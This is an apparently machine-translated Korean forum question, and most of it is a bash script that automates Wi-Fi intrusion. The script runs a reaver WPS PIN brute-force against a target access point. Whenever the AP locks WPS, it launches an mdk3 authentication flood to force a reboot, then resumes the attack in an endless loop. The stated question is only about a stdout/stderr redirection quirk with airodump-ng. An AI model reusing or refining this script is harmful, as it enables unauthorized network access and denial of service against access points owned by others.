우선 불쌍한 영어 불쌍한 분께 죄송합니다. 리버를 사용하여 AP WPS 크래킹을 수행하기 위해 bash 스크립트를 작성하려고합니다. 문제는 일부 WPS-PIN을 시도한 후에 AP가 WPS를 잠그므로 재버가 유용하지 않다는 것입니다.재사용을위한 bash 스크립트는 wps-locked 상태의 잠금을 해제합니다.
이 문제를 해결하기 위해 AP를 재부팅하고 다시 공격 할 수있는 공격 ()을 수행합니다 (재부팅 후 WPS가 잠금 해제 상태로 다시 시작됨).
이 방법의 문제는이다 : 나는 AP가 잠겨 및
- reaver 공격을 다시 수행합니다. 이것에 대한 해결책은 분명히 스크립트입니다.
이 문제를 해결할 수있는 다음 줄을 작성했습니다.
필자는 bash 스크립팅에서 완전히 멍청하다고 말해야하므로 스크립트는 "전문적인"것이 아니라 내 문제를 해결하기위한 "워크 북"입니다.
#!/bin/bash
while true; do
# Switch to the correct channel and save it into $channel
echo Detecting AP channel
timeout 25 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -q # Switch to the AP channel
rm ap_channel 2> /dev/null
touch ap_channel
timeout 5 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel
channel="$(head -1 ap_channel | tail -c 2 | head -c 1)"
rm ap_channel
# Attacks the AP while it isn't wps-locked
rm ap_status 2> /dev/null
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
while [ -z "$(grep Locked ap_status)" ]; do
echo Performing reaver attack
aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon
timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s REAVER_PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
done
# The AP is now locked. Performs a mdk3 attack (in order to reboot the AP) while the AP wps-status is Locked
((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > /dev/null &
mdk3_pid=$!
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
while [ -n "$(grep Locked ap_status)" ]; do
echo Trying to reboot the AP
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
done
# The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack
kill -9 $mdk3_pid
echo AP rebooted. Waiting 2 mins till AP init
sleep 120
done
이 스크립트의 문제는 내가 스크립트 내부에 그것을 실행하는 것보다 명령 줄에서 직접 실행하면 내가 airodump 출력에 사용하는 표준 출력 리디렉션 다른 실행하는 것입니다.
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
내가 직접 tty에서 실행하는 것처럼 스크립트 내에서 위 행을 실행하는 방법이 필요합니다. 스크립트를 계속 사용해야하기 때문에 exec를 사용하여이 작업을 수행 할 수 없습니다.
참고 : WPS 상태를 저장하지 않으므로 airodump-ng에 -w 옵션을 사용할 수 없습니다.
누군가 나를 도와 줄 수 있습니까?